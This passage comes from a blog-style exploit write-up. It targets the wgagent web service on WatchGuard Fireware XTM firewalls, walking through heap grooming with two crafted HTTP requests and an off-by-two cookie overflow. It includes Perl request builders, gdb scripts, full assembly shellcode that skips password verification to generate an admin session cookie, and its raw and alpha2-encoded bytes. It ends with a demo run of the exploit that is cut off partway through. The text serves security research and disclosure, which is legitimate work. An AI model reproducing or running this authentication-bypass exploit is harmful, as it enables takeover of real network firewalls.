`ebp``,``esp``0x37d62c43 <+``3``>: ``push` `edi``0x37d62c44 <+``4``>: ``push`
`esi``0x37d62c45 <+``5``>: ``push` `ebx``0x37d62c46 <+``6``>: ``sub`
`esp``,0x2c``0x37d62c49 <+``9``>: ``mov` `esi``,``DWORD` `PTR`
`[``ebp``+0x10]``0x37d62c4c <+``12``>: ``call` `0x37d624c8``0x37d62c51
<+``17``>: ``add` `ebx``,0x63a3``0x37d62c57 <+``23``>: ``mov` `edi``,``DWORD`
`PTR` `[``esi``+0x8]``0x37d62c5a <+``26``>: ``mov` `eax``,``DWORD` `PTR`
`[``esi``+0x4]``0x37d62c5d <+``29``>: ``mov` `DWORD` `PTR`
`[``ebp``-0x1c],0x0``0x37d62c64 <+``36``>: ``mov` `edx``,``edi``0x37d62c66
<+``38``>: ``sub` `edx``,``eax``0x37d62c68 <+``40``>: ``cmp` `edx``,``DWORD`
`PTR` `[``ebp``+0xc]``0x37d62c6b <+``43``>: ``jl` `0x37d62c95
<FCGX_PutStr+``85``>``0x37d62c6d <+``45``>: ``jmp` `0x37d62cea
<FCGX_PutStr+``170``>``0x37d62c70 <+``48``>: ``add` `DWORD` `PTR`
`[``ebp``+0x8],``edi``0x37d62c73 <+``51``>: ``mov` `eax``,``DWORD` `PTR`
`[``esi``+0x14]``0x37d62c76 <+``54``>: ``test` `eax``,``eax``0x37d62c78
<+``56``>: ``jne` `0x37d62cd8 <FCGX_PutStr+``152``>``0x37d62c7a <+``58``>:
``mov` `edi``,``DWORD` `PTR` `[``esi``+0x10]``0x37d62c7d <+``61``>: ``test`
`edi``,``edi``0x37d62c7f <+``63``>: ``jne` `0x37d62cd8
<FCGX_PutStr+``152``>``0x37d62c81 <+``65``>: ``mov` `DWORD` `PTR`
`[``esp``+0x4],0x0``0x37d62c89 <+``73``>: ``mov` `DWORD` `PTR`
`[``esp``],``esi``0x37d62c8c <+``76``>: ``call` `DWORD` `PTR`
`[``esi``+0x24]``0x37d62c8f <+``79``>: ``mov` `eax``,``DWORD` `PTR`
`[``esi``+0x4]``0x37d62c92 <+``82``>: ``mov` `edi``,``DWORD` `PTR`
`[``esi``+0x8]``0x37d62c95 <+``85``>: ``cmp` `eax``,``edi``0x37d62c97
<+``87``>: ``je` `0x37d62c73 <FCGX_PutStr+``51``>``0x37d62c99 <+``89``>:
``mov` `edx``,``DWORD` `PTR` `[``ebp``+0xc]``0x37d62c9c <+``92``>: ``sub`
`edi``,``eax``0x37d62c9e <+``94``>: ``sub` `edx``,``DWORD` `PTR`
`[``ebp``-0x1c]``[..``.SNIP``...]``0x37d62d0c <+``204``>: ``pop`
`ebx``0x37d62d0d <+``205``>: ``pop` `esi``0x37d62d0e <+``206``>: ``pop`
`edi``0x37d62d0f <+``207``>: ``pop` `ebp``0x37d62d10 <+``208``>: ``ret`  
---|---  
The good news is that ESI holds the content of “client\_fd” pointer, which we
control by overflowing our cookie buffer by only a few bytes\!  
Remember the beginning of the mysub\_8051850\_HTTP\_handle\_request\(\)
function :

123456789| `int` `mysub_8051850_HTTP_handle_request() {` ` ``// ...`` ``char`
`dest[128]; ``// overflowed buffer`` ``int` `client_info;`` ``int`
`sys_upgrade_content;`` ``int` `unknown;`` ``int` `client_fd;`` ``// ...`  
---|---  
Additionally, **client\_fd** initially contains a heap address, which means
that overwriting the pointer with only 2 bytes \(remember bad chars\), would
let us perform a call to an address stored on the heap \!

## 4.2. How I met your mother

The function would like to challenge us first.. Indeed, we need to comply with
some conditional jumps in order to reach the **call \[esi+0x24\]**
instruction. Let’s illustrate the conditions:

12345678910111213141516171819202122232425262728293031323334353637383940|
`0x37d62c40 <+``0``>: ``push` `ebp``0x37d62c41 <+``1``>: ``mov`
`ebp``,``esp``0x37d62c43 <+``3``>: ``push` `edi``0x37d62c44 <+``4``>: ``push`
`esi``0x37d62c45 <+``5``>: ``push` `ebx``0x37d62c46 <+``6``>: ``sub`
`esp``,0x2c``0x37d62c49 <+``9``>: ``mov` `esi``,``DWORD` `PTR`
`[``ebp``+0x10]``0x37d62c4c <+``12``>: ``call` `0x37d624c8``0x37d62c51
<+``17``>: ``add` `ebx``,0x63a3``0x37d62c57 <+``23``>: ``mov` `edi``,``DWORD`
`PTR` `[``esi``+0x8]``0x37d62c5a <+``26``>: ``mov` `eax``,``DWORD` `PTR`
`[``esi``+0x4]``0x37d62c5d <+``29``>: ``mov` `DWORD` `PTR`
`[``ebp``-0x1c],0x0``0x37d62c64 <+``36``>: ``mov` `edx``,``edi``0x37d62c66
<+``38``>: ``sub` `edx``,``eax``0x37d62c68 <+``40``>: ``cmp` `edx``,``DWORD`
`PTR` `[``ebp``+0xc]``0x37d62c6b <+``43``>: ``jl` `0x37d62c95
<FCGX_PutStr+``85``>``0x37d62c6d <+``45``>: ``jmp` `0x37d62cea
<FCGX_PutStr+``170``>``0x37d62c70 <+``48``>: ``add` `DWORD` `PTR`
`[``ebp``+0x8],``edi``0x37d62c73 <+``51``>: ``mov` `eax``,``DWORD` `PTR`
`[``esi``+0x14]``0x37d62c76 <+``54``>: ``test` `eax``,``eax``0x37d62c78
<+``56``>: ``jne` `0x37d62cd8 <FCGX_PutStr+``152``>``0x37d62c7a <+``58``>:
``mov` `edi``,``DWORD` `PTR` `[``esi``+0x10]``0x37d62c7d <+``61``>: ``test`
`edi``,``edi``0x37d62c7f <+``63``>: ``jne` `0x37d62cd8
<FCGX_PutStr+``152``>``0x37d62c81 <+``65``>: ``mov` `DWORD` `PTR`
`[``esp``+0x4],0x0``0x37d62c89 <+``73``>: ``mov` `DWORD` `PTR`
`[``esp``],``esi``0x37d62c8c <+``76``>: ``call` `DWORD` `PTR`
`[``esi``+0x24]``0x37d62c8f <+``79``>: ``mov` `eax``,``DWORD` `PTR`
`[``esi``+0x4]``0x37d62c92 <+``82``>: ``mov` `edi``,``DWORD` `PTR`
`[``esi``+0x8]``0x37d62c95 <+``85``>: ``cmp` `eax``,``edi``0x37d62c97
<+``87``>: ``je` `0x37d62c73 <FCGX_PutStr+``51``>``0x37d62c99 <+``89``>:
``mov` `edx``,``DWORD` `PTR` `[``ebp``+0xc]``0x37d62c9c <+``92``>: ``sub`
`edi``,``eax``0x37d62c9e <+``94``>: ``sub` `edx``,``DWORD` `PTR`
`[``ebp``-0x1c]``[..``.SNIP``...]``0x37d62d0c <+``204``>: ``pop`
`ebx``0x37d62d0d <+``205``>: ``pop` `esi``0x37d62d0e <+``206``>: ``pop`
`edi``0x37d62d0f <+``207``>: ``pop` `ebp``0x37d62d10 <+``208``>: ``ret`  
---|---  
Line 16 : **\[esi+0x8\]** – **\[esi+0x4\]** must be lower than **\[ebp+0xc\]**
\(which contains 141 at that moment\) in order to jump at <FCGX\_PutStr+85>  
Line 31 : **\[esi+0x4\]** and **\[esi+0x8\]** must be equal in order to jump
at <FCGX\_PutStr+51>  
Line 21 : **\[esi+0x14\]** must be equal to **zero** in order to prevent
jumping  
Line 24 : **\[esi+0x10\]** must be equal to **zero** in order to prevent
jumping

If we satisfy these conditions in this order, we will reach the **call**
instruction located at line 27 and then have to satisfy a last condition:

Line 27 : **\[esi+0x24\]** must contain an address which point to our
shellcode …

Below is an alternative view of the problem we need to solve .. We called this
“**a good memory chunk** ” pointed by ESI.

<img src='img/Temp2_9360.jpg' width='542' height='266' alt='call [esi+0x24] -
condition' />

The reader can already assume that if I took the energy to write this blog
entry, there must be some ways to comply with the rules … ;-\)

## 4.3. Solving the conditions

We must send an HTTP request which fills the heap with some HTTP header
contents, and then find a location into that heap which matches our
conditions. Let’s automate the heap search process using Perl \(I know, Perl
is old school but I don’t care..\).  
We also need some gdb scripting in order to dump the heap content, right after
**client\_fd** has been overwritten. In the example below, we will overwrite
two bytes of client\_fd with \x81\x64 which will result in **0×08068164**. The
gdb script will break at **FCGX\_FPrinF\(\)** function and will dump the
content of the heap if EAX contains **0×08068164**.

The gdb command script.

1234567891011121314| `set disassemble-next-line on``set disassembly-flavor
intel` `file /usr/bin/wgagent``b FCGX_FPrintF``commands`` ``if` `($eax ==
0x8068164)`` ``x/20000xw 0x08060000`` ``quit`` ``else`` ``cont``
``end``end``run`  
---|---  
From our testing laptop, gdb will be called through SSH, and the output \(the
heap content\) saved locally into a text file:

12| `$ ``ssh` `-p 4118 root@192.168.60.196 gdb --nx --``command` `cmd.gdb
2>``/dev/null` `\`` ``| ``egrep` `-e ``'^0x80.....:'` `> heap_dump`  
---|---  
From another console, we send the HTTP request and wait for the gdb output.
Sample :

12345678910111213141516| `0x8060000: 0x00000000 0x00000019 0x62696c2f
0x62696c2f``0x8060010: 0x5f636367 0x6f732e73 0x0000312e 0x00000281``0x8060020:
0x3795c000 0x08060008 0x37972f08 0x08063278``0x8060030: 0x37fff534 0x08060020
0x00000000 0x0806027c``0x8060040: 0x00000000 0x37972f08 0x37972f58
0x37972f50``0x8060050: 0x37972f28 0x37972f30 0x37972f38 0x00000000``0x8060060:
0x00000000 0x00000000 0x37972f40 0x37972f48``0x8060070: 0x37972f18 0x37972f20
0x37972f10 0x00000000``0x8060080: 0x00000000 0x37972f70 0x37972f78
0x37972f80``0x8060090: 0x37972f60 0x00000000 0x00000000 0x37972f68``0x80600a0:
0x00000000 0x00000000 0x00000000 0x00000000``0x80600b0: 0x00000000 0x00000000
0x00000000 0x00000000``0x80600c0: 0x00000000 0x00000000 0x37972fa0
0x37972f98``0x80600d0: 0x37972f90 0x37972f88 0x00000000 0x37972fb0``0x80600e0:
0x00000000 0x00000000 0x00000000 0x00000000``......`  
---|---  
After multiple variations of an initial HTTP request, our Perl script did not
find any good location that matched the last rule \(pointer to the shellcode\)
:-/

Well, why not trying with **two** HTTP requests ? Remember that free\(\) does
not reset the **content** of a buffer but only removes the chunk from the
allocated buffer list. It means that with a bit of luck, the data of a first
HTTP request might still be present on the heap, while a second HTTP request
\(different than the first one\) is processed by the HTTP server. Also,
wgagent treats one request at a time meaning that if you send 100 identical
requests, they will all be stored at the same position \(also after reboot –
verified\).

We will then try to send two different requests:

  1. A first request which generates a “good memory chunk” \(satisfying all rules except the last one\).
  2. A second request which aligns the shellcode at the position pointed by ESI+0×24 \(set by the first HTTP request\). We’ll also try to have a big room for the shellcode \(2000 bytes should be large enough\).

**\!\!\! IT WORKS \!\!\!**

Below is the first request:

12345678910111213141516| `sub` `building_request_step1 {`` ``my` `$sessionid`
`= ``"A"` `x 120;`` ``my` `$req` `=`` ``"POST /agent/ping HTTP/1.1\r\n"` `.``
``"Host:$host:$port"` `. ``"\r\n"` `.`` ``"User-Agent: "` `. ``"a"` `x 100 .
``"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0
"` `. ``"a"` `x 100 . ``"\r\n"` `.`` ``"Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8, "` `. ``"a"`
`x 992 . ``"\r\n"` `.`` ``"Accept-Language: en-gb,en;q=0.5"` `. ``"a"` `x 200
. ``"\r\n"` `.`` ``"Content-Type: application/xml\r\n"` `.`` ``"Cookie:
sessionid="` `. ``$sessionid` `. ``"\r\n"` `.`` ``"Accept-Charset: utf-8\r\n"`
`.`` ``"Content-Length: 3\r\n"` `.`` ``"\r\n"` `.`` ``"foo"` `;`` ``return`
`$req``;``}`  
---|---  
and here is the second request:

12345678910111213141516171819| `sub` `building_request_step2 {`` ``my`
`$sessionid` `=`` ``"A"` `x 140 . ``# junk`` ``"\x44\x85"` `; ``# off by 2
overflow to reach 0x8068544 (on the heap)`` ``my` `$req` `=`` ``"POST
/agent/ping HTTP/1.1\r\n"` `.`` ``"Host:$host:$port"` `. ``"\r\n"` `.``
``"User-Agent: "` `. ``"s"` `x 100 . ``"Mozilla/5.0 (X11; Ubuntu; Linux i686;
rv:23.0) Gecko/20100101 Firefox/23.0 "` `. ``"a"` `x 282 . ``"\r\n"` `.``
``"Accept-Encoding: gzip, deflate "` `. ``"b"` `x 1380 . ``"\r\n"` `.``
``"Connection: keep-alive"` `. ``"a"` `x 22 . ``$shellcode` `. ``"\x90"` `x
(``$shellcode_max_len` `- ``length``(``$shellcode``)) .``"\r\n"` `.``
``"Content-Type: application/xml\r\n"` `.`` ``"Cookie: sessionid="` `.
``$sessionid` `. ``"\r\n"` `.`` ``"Accept-Charset: utf-8\r\n"` `.``
``"Content-Length: 3\r\n"` `.`` ``"\r\n"` `.`` ``"foo"` `;` ` ``return`
`$req``;``}`  
---|---  
Below is the output of the Perl script showing some good memory chunks,
including the content behind \[ESI+024\]

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950|
`$ ``ssh` `-p 4118 root@192.168.60.196 gdb --nx --``command` `cmd.gdb
2>``/dev/null` `\`` ``| ``egrep` `-e ``'^0x80.....:'` `> heap_dump``$
.``/heap_search``.pl heap_dump``base address: 8060000` `[...SNIP...]` `ESI:
0x8068058, [ESI+0x24]:
0x080680e0``\x01\x06\x00\x01\x00\x00\x00\x00\x01\x03\x00\x01\x00\x08\x00\x00``................`
`ESI: 0x80682f8, [ESI+0x24]:
0x08065c60``\x67\x00\x06\x08\x29\x00\x00\x00\x44\x4f\x43\x55\x4d\x45\x4e\x54``g...)...DOCUMENT`
`ESI: 0x8068544, [ESI+0x24]: 0x080664f0
<==========================``\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc``................`
`ESI: 0x8068548, [ESI+0x24]:
0x08068608``\x98\xa2\xaa\x37\x28\x3a\x06\x08\x00\x00\x00\x00\x00\x00\x00\x00``...7(:..........`
`[... SNIP ...]` `======== dump near ESI ===================``0x8068540:
0x00000000 0x00000000 0x00000000 0x00000000``0x8068550: 0x00000000 0x00000000
0x00000000 0x00000000``0x8068560: 0x00002008 0x00000030 0x080664f0
0x08068608``==========================================` `======== dump near
[ESI+0x24] ============``0x80664b0: 0x62626262 0x00626262 0x73752f3d
0x00000809``0x80664c0: 0x50545448 0x4e4f435f 0x5443454e 0x3d4e4f49``0x80664d0:
0x7065656b 0x696c612d 0x61616576 0x61616161``0x80664e0: 0x61616161 0x61616161
0x61616161 0x61616161``0x80664f0: 0xcccccccc 0xcccccccc 0xcccccccc
0xcccccccc``0x8066500: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc``0x8066510:
0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc``0x8066520: 0xcccccccc 0xcccccccc
0xcccccccc 0xcccccccc``0x8066530: 0xcccccccc 0xcccccccc 0xcccccccc
0xcccccccc``0x8066540: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc``0x8066550:
0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc``0x8066560: 0xcccccccc 0xcccccccc
0xcccccccc 0xcccccccc``0x8066570: 0xcccccccc 0xcccccccc 0xcccccccc
0xcccccccc``0x8066580: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc``0x8066590:
0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc``0x80665a0: 0xcccccccc 0xcccccccc
0xcccccccc 0xcccccccc``0x80665b0: 0xcccccccc 0xcccccccc 0xcccccccc
0xcccccccc``========================`  
---|---  
We can now rest a few minutes, before considering the shellcode we would like
to use in our buffer…

# 5\. Shellcoding

## 5.1. Dealing with bad characters

As explained before, we have to deal with a lot of bad characters in our evil
buffer. To make it easier, we decided to use the infamous **alpha2** encoder .
In order to use this encoder, we have to set our shellcode address into one of
the registers expected by alpha2 first \(is alpha3 for Windows only?\).

Right after the **call \[esi+0x24\]** , we have the following values in our
registers:

1234567891011121314151617181920| `Breakpoint 1, 0x37d62c8c ``in` `FCGX_PutStr
() from ``/lib/libfcgi``.so.0``=> 0x37d62c8c <FCGX_PutStr+76>: ff 56 24 call
DWORD PTR [esi+0x24]``(gdb) si``0x080664f0 ``in` `?? ()``=> 0x080664f0: 90 nop
<== first byte of our nopsled``(gdb) i r``eax 0x0 0``ecx 0x8068544
134645060``edx 0x0 0``ebx 0x37d68ff4 936808436``esp 0x3ff0b51c 0x3ff0b51c``ebp
0x3ff0b558 0x3ff0b558``esi 0x8068544 134645060``edi 0x0 0``eip 0x80664f0
0x80664f0``(gdb) x``/xw` `$ecx+0x24``0x8068568: 0x080664f0``(gdb) x``/xw`
`$esi+0x24``0x8068568: 0x080664f0``(gdb)`  
---|---  
Both \[ecx+0x24\] and \[esi+0x24\] contains the address of our shellcode. In
order to store the address of the alpha-encoded shellcode into EAX, we will
start our shellcode with the following instructions \(by taking care of the
bad chars list\):

123| `8048060``: ``8b` `41` `24` `mov` `eax``, [``ecx``+0x24]``8048063``:
``83` `c0` `40` `add` `eax``, 0x40 ` `; compensate our own length``8048066``:
``83` `e8` `37` `sub` `eax``, 0x37 ` `; compensate our own length`  
---|---  
We can now play with **./alpha2 eax < shellcode**

## 5.2. bind\_shell, reverse\_shell, execve …

So we need to write a shellcode now, but what for ? If you remember a few
thousand lines before, there is no shell installed on the device. Ok, we have
busybox with this very limited set of commands:

12345678| `~ ``# busybox-rel``BusyBox v1.18.2 (2012-10-25 16:35:43 PDT) multi-
call binary.``[...SNIP...]``Currently defined functions:`` ``arp, arping,
``awk``, ``chmod``, ``chown``, crond, dmesg, ftpget, ftpput, getty,``
``gunzip, ``gzip``, hwclock, ``ifconfig``, insmod, ``kill``, killall, logger,
login,`` ``lsmod, mdev, modprobe, rmmod, syslogd, ``tar``, tftp, udhcpc,
vconfig,`` ``zcat`  
---|---  
There is also a **Command Line Interface** to consider under **/usr/bin/cli**
, but it provides only unprivileged commands when called by non-root user
\(wgagent runs as nobody\):

123456789101112131415161718192021222324| `~ ``# busybox su - nobody``$
``/usr/bin/cli``--``-- WatchGuard Firebox Operating System Software.``--
Fireware XTM Version 11.7.4.B428850``-- Support:
https:``//www``.watchguard.com``/support/supportLogin``.asp``-- Copyright (c)
1996-2011 by WatchGuard Technologies, Inc.``--` `WG>?``Exec commands:``
``diagnose Display internal diagnostic information`` ``exit` `Exit from the
EXEC`` ``export` `Export information to external platform`` ``help Description
of the interactive help system`` ``history` `Display the ``command` `history`
`list with line numbers`` ``no Negate a ``command` `or ``set` `its defaults``
``ping` `Send ``echo` `messages`` ``show Show running system information``
``sysinfo Display system information`` ``traceroute` `Trace route to
destination`` ``who` `Show ``who` `is logged on` `WG>`  
---|---  
These options are really disappointing, considering the jobs we have already
covered. Additionally, we know that wgagent is able to execute privileged
actions when called from the web console \(changing policy, rebooting, …\).
There is definitively no reasons to stuck in our limited privileges..

## 5.3. Code reuse – Send me back an admin cookie please

Since there is a really convenient Web console running of the device, why not
ask **wgagent** to generate a new admin cookie, and send it back to us ?

I will not explain all the steps but basically, our shellcode will:

  1. Set **EBP** and **ESP** as if we are running into the **mysub\_8051850\_HTTP\_handle\_request\(\)** function.
  2. Recover some overwritten pointers
  3. Set **EBP** and **ESP** as if we are running inside the **mysub\_804E7E7\_login\(\)** function.
  4. Re-implement some necessary assignments
  5. Jump after the password verification
  6. Let it go :-\)

Here is the final shellcode:

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182|
`;wg_get_session.asm``global` `_start``_start:` ` ``; current EBP/ESP values``
``;-------`` ``; esp 0x3ff0b518`` ``; ebp 0x3ff0b558` ` ``; first, fix the
stack in HTTP_handle_request function`` ``; -------`` ``; esp 0x3ff0b6f0`` ``;
ebp 0x3ffffcb8` ` ``; we'll do`` ``;---------`` ``;$ perl -e 'printf "%x\n",
0x3ff0b518 + 472'`` ``; 3ff0b6f0`` ``; ESP = ESP + 472` ` ``;$ perl -e 'printf
"%x\n", 0x3ff0b558 + 1001312'`` ``; 3ffffcb8`` ``; EBP = EBP + 1001312` ` ``;
fix ESP/EBP`` ``add` `esp``, ``472`` ``add` `ebp``, ``1001312` ` ``; fixing
overwritten ptrs` ` ``; finding initial malloc pointer v50 (overwritten)`` ``;
0805f000-08081000 rwxp 00000000 00:00 0 [heap]` ` ``; v54 and v55 have not
been overwritten and contain *(v50+0x10) and *(v50+0x14)` ` ``; example inside
gdb`` ``;b *0x8051901`` ``;b *0x80519c0`` ``;(gdb) x/xw $ebp-0xf8 <===== v55``
``;0x3ffffbc0: 0x08065b90`` ``;(gdb) x/xw $ebp-0xfc <===== v54``
``;0x3ffffbbc: 0x08067fe0`` ``;(gdb) find /w 0x08060000, 0x0806ffff,
0x08067fe0, 0x08065b90 <==== search seq on heap`` ``;0x8063b48`` ``;1 pattern
found.`` ``;(gdb) x/xw 0x8063b48-0x10 <==== initial malloc ptr (v50) is at
0x8063b48-0x10`` ``;0x8063b38: 0x00000001` ` ``; search this sequence on the
heap`` ``mov` `eax``, [``ebp``-0xfc]` `; v54`` ``mov` `ebx``, [``ebp``-0xf8]`
`; v55` ` ``mov` `edi``, 0x0805f000` `; heap start addr``loop``:`` ``add`
`edi``, ``4`` ``lea` `esi``, [``edi``+``4``]`` ``cmp` `esi``, 0x08081000` `;
edi is out of the heap ?`` ``je` `loop_end`` ``cmp` `[``edi``], ``eax` `; cmp
v54`` ``jne` `loop`` ``cmp` `[``edi``+``4``], ``ebx` `; cmp v55`` ``je`
`found`` ``jmp` `loop` `loop_end:`` ``mov` `eax``, 0x08063b38` `; default
value (should not be reached)` `found:`` ``lea` `eax``, [``edi``-0x10]` `; eax
= v50 address (malloc ptr addr)` ` ``; EBP-0x10c`` ``; saved content of v50
(malloc) = ebp-0x10c`` ``mov` `[``ebp``-0x10c], ``eax` ` ``; reset EBX (see
following)`` ``; 805185c: e8 95 43 00 00 call 8055bf6 <wga_signal+0x784>`` ``;
8051861: 81 c3 93 c7 00 00 add ebx,0xc793`` ``; ....`` ``; 8055bf6: 8b 1c 24
mov ebx,DWORD PTR [esp]`` ``; 8055bf9: c3 ret`` ``mov` `ebx``, 0x805``df``f4`
` ``; EBP-0x108`` ``; just reset it to 0`` ``mov` `dword` `[``ebp``-0x108],
0x0` ` ``; EBP-0x100`` ``; 80519b1: 8b 40 0c mov eax,DWORD PTR [eax+0xc]`` ``;
80519b4: 89 85 00 ff ff ff mov DWORD PTR [ebp-0x100],eax`` ``mov` `eax``,
[``eax``+0xc]`` ``mov` `[``ebp``-0x100], ``eax` ` ``; simulate call to login
function. copy args`` ``mov` `ecx``, [``ebp``-0x10c]`` ``mov` `eax``,
[``ebp``-0x198]`` ``mov` `edx``, [``ebp``-0x194]`` ``mov`
`[``esp``+0x4],``eax`` ``mov` `[``esp``+0x8],``edx`` ``mov` `[``esp``],``ecx`
` ``; Now setup the login function stack` ` ``; current esp/ebp`` ``;
----------------`` ``; esp 0x3ff0b6f0`` ``; ebp 0x3ffffcb8` ` ``; we want to
land into the login function`` ``; ---------------------------------------``
``; esp 0x3ff0b420`` ``; ebp 0x3ff0b6e8` ` ``; we'll do`` ``;---------`` ``; $
perl -e ' printf "%x\n", 0x3ff0b6f0 - 720'`` ``; 3ff0b420`` ``; ESP = ESP -
720`` ``; $ perl -e ' printf "%x\n", 0x3ffffcb8 - 1000912'`` ``; 3ff0b6e8``
``; EBP = EBP - 1000912` ` ``; stack fix`` ``sub` `esp``, ``720`` ``sub`
`ebp``, ``1000912` ` ``; EBX -> .GOT (same as above btw)`` ``mov` `ebx``,
0x805``df``f4` ` ``; simulate "decode HTTP content" fct, at top of the login
function`` ``mov` `edx``, [``ebp``+0x8]`` ``mov` `edx``, [``edx``+0x8]``
``mov` `dword` `[``esp``+0x4], 0x0 ` `; no content_encoding header`` ``mov`
`[``esp``], ``edx`` ``mov` `esi``, 0x0804d990`` ``call` `esi` `; decode
content`` ``mov` `[``ebp``-0x70],``eax` `; int decoded_content; // [sp+258h]
[bp-70h]@1` ` ``; simulate "search remote_address"`` ``mov` `eax``,
[``ebp``+0x8]`` ``mov` `eax``, [``eax``+0x14]`` ``mov` `[``esp``+0x4],``eax``
``lea` `eax``,[``ebx``-0x3ceb]`` ``mov` `[``esp``],``eax`` ``mov` `esi``,
0x804b670 ` `; FCGX_GetParam`` ``call` `esi`` ``add` `eax``, 0x7 ` `; remove
'::ffff:' => to improve`` ``mov` `[``ebp``-0x60], ``eax` ` ``; is_admin = 4``
``mov` `dword` `[``ebp``-0x48], 0x4` ` ``; simulate "search req_user value"``
``mov` `eax``, [``ebp``-0x70]`` ``mov` `eax``, [``eax``+0x50]`` ``mov` `dword`
`[``esp``+0x8],0x0`` ``lea` `edx``,[``ebx``-0x3c93]`` ``mov`
`[``esp``+0x4],``edx`` ``mov` `[``esp``],``eax`` ``mov` `esi``, 0x804c07e``
``call` `esi` `; <FCGX_PutStr@plt+0x3de>`` ``mov` `[``ebp``-0x68],``eax` ` ``;
v49 = 2 (ipv4)`` ``mov` `word` `[``ebp``-0x5a], 0x2 ` `; unsigned __int16 v49;
// [sp+26Eh] [bp-5Ah]@1` ` ``; challenge`` ``mov` `dword` `[``ebp``-0x6c], 0x0
` `; const char *req_challenge; // [sp+25Ch] [bp-6Ch]@1` ` ``; set v43 to
null`` ``mov` `dword` `[``ebp``-0x74], 0x0 ` `; int v43; // [sp+254h]
[bp-74h]@1` ` ``; ok, we are ready to jump in the middle of the "login"
function`` ``; right after the password verification` ` ``; jump here`` ``;
804ee4b: c7 44 24 04 00 12 00 mov DWORD PTR [esp+0x4],0x1200`` ``; 804ee52:
00`` ``; 804ee53: c7 04 24 01 00 00 00 mov DWORD PTR [esp],0x1`` ``; 804ee5a:
e8 11 c4 ff ff call 804b270 <calloc@plt>` ` ``mov` `edi``, 0x804ee4b`` ``jmp`
`edi`  
---|---  
Compilation and encoding:

123456789101112131415161718192021222324252627282930313233343536| `$
.``/build``.sh wg_get_session.asm` `unsigned char
buf[]=``"\x81\xc4\xd8\x01\x00\x00\x81\xc5\x60\x47\x0f\x00\x8b\x85\x04"``"\xff\xff\xff\x8b\x9d\x08\xff\xff\xff\xbf\x00\xf0\x05\x08\x83"``"\xc7\x04\x8d\x77\x04\x81\xfe\x00\x10\x08\x08\x74\x0b\x39\x07"``"\x75\xee\x39\x5f\x04\x74\x07\xeb\xe7\xb8\x38\x3b\x06\x08\x8d"``"\x47\xf0\x89\x85\xf4\xfe\xff\xff\xbb\xf4\xdf\x05\x08\xc7\x85"``"\xf8\xfe\xff\xff\x00\x00\x00\x00\x8b\x40\x0c\x89\x85\x00\xff"``"\xff\xff\x8b\x8d\xf4\xfe\xff\xff\x8b\x85\x68\xfe\xff\xff\x8b"``"\x95\x6c\xfe\xff\xff\x89\x44\x24\x04\x89\x54\x24\x08\x89\x0c"``"\x24\x81\xec\xd0\x02\x00\x00\x81\xed\xd0\x45\x0f\x00\xbb\xf4"``"\xdf\x05\x08\x8b\x55\x08\x8b\x52\x08\xc7\x44\x24\x04\x00\x00"``"\x00\x00\x89\x14\x24\xbe\x90\xd9\x04\x08\xff\xd6\x89\x45\x90"``"\x8b\x45\x08\x8b\x40\x14\x89\x44\x24\x04\x8d\x83\x15\xc3\xff"``"\xff\x89\x04\x24\xbe\x70\xb6\x04\x08\xff\xd6\x83\xc0\x07\x89"``"\x45\xa0\xc7\x45\xb8\x04\x00\x00\x00\x8b\x45\x90\x8b\x40\x50"``"\xc7\x44\x24\x08\x00\x00\x00\x00\x8d\x93\x6d\xc3\xff\xff\x89"``"\x54\x24\x04\x89\x04\x24\xbe\x7e\xc0\x04\x08\xff\xd6\x89\x45"``"\x98\x66\xc7\x45\xa6\x02\x00\xc7\x45\x94\x00\x00\x00\x00\xc7"``"\x45\x8c\x00\x00\x00\x00\xbf\x4b\xee\x04\x08\xff\xe7"``;`
`Length: 268` `/tmp/raw``.bin generated` `$ alpha2 eax <
``/tmp/raw``.bin``PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJImQ9TKhuQWpEPMQiU\``U077foWplKLEuTkOyoIoLKmMfhKOIoiomoWpZPWu7xosKwc4nmpw7tmQInWpFpS8wxPt\``dKUiVgpuzNP9soS4PtWwXk8gnXWHukuV5XLM1WxpniK5ydYnkOyooKHtyOvewxZgK5ZX\``9nkOKOWpUPS0wplKqPTLOylEuPKOYoYoNklMkDKNKOyoNkMUPhkNYokOLKNuplKNKOYo\``nictddETmY64UtUXoy4LutK18lzpDBuP7pMQhmxPQU4OWpoKXtkoTEgxNkpUeXNkrrUX\``yWpD6Dwt7pUPuPc0LIr4VDmnLPki34S8IoN6mYsuNpLKCu6hlK70R4NiRdUtuTLMLCr5\``jcYoiomY7ttdmnt0lvS4wxKOjvK3Kp6gNiReMpkwPENXWtgps0uPNkSunpNk3ppPo73t\``etvhC0wpgpWpnmMC0m9SyokOoyrtgT7tlIC4tdONanKptDwxIoJvK9reOh0fkwG5MvUR\``WpIW75MD7pS0uPWpKwW5nlePUPwp5POOrkXngtVhYoywA`  
---|---  
# 6\. Final exploit

Here we are. Our final exploit succeeds to overcome all limitations such as
hardening, limited privileges, memory randomization, bad characters, … As
requested by our custom shellcode, the exploit jumps back into the wgagent
code section, generates a new admin cookie, and then sends a complete HTTP
response to the attacker:

## 6.1. Demonstration

1234567891011121314151617181920212223242526272829303132333435363738394041| `$
.``/wg-sessid-exploit-0``.1.pl``[*] Sending HTTP ``ping` `request to
https:``//192``.168.60.200:8080 : OK. Got ``'pong'``[*] Checking sessionid
cookie ``for` `bad chars``[*] Checking shellcode ``for` `bad chars``[*]
Fill-``in` `the heap ....``[*] Sending authentication bypass shellcode``[*]
HTTP Response
:``--------------------------------------------------------------------------------``HTTP``/1``.1
200 OK``Content-``type``: text``/xml``Set-Cookie:
sessionid=6B8B4567327B23C6643C9869663348730000001D``Vary: Accept-
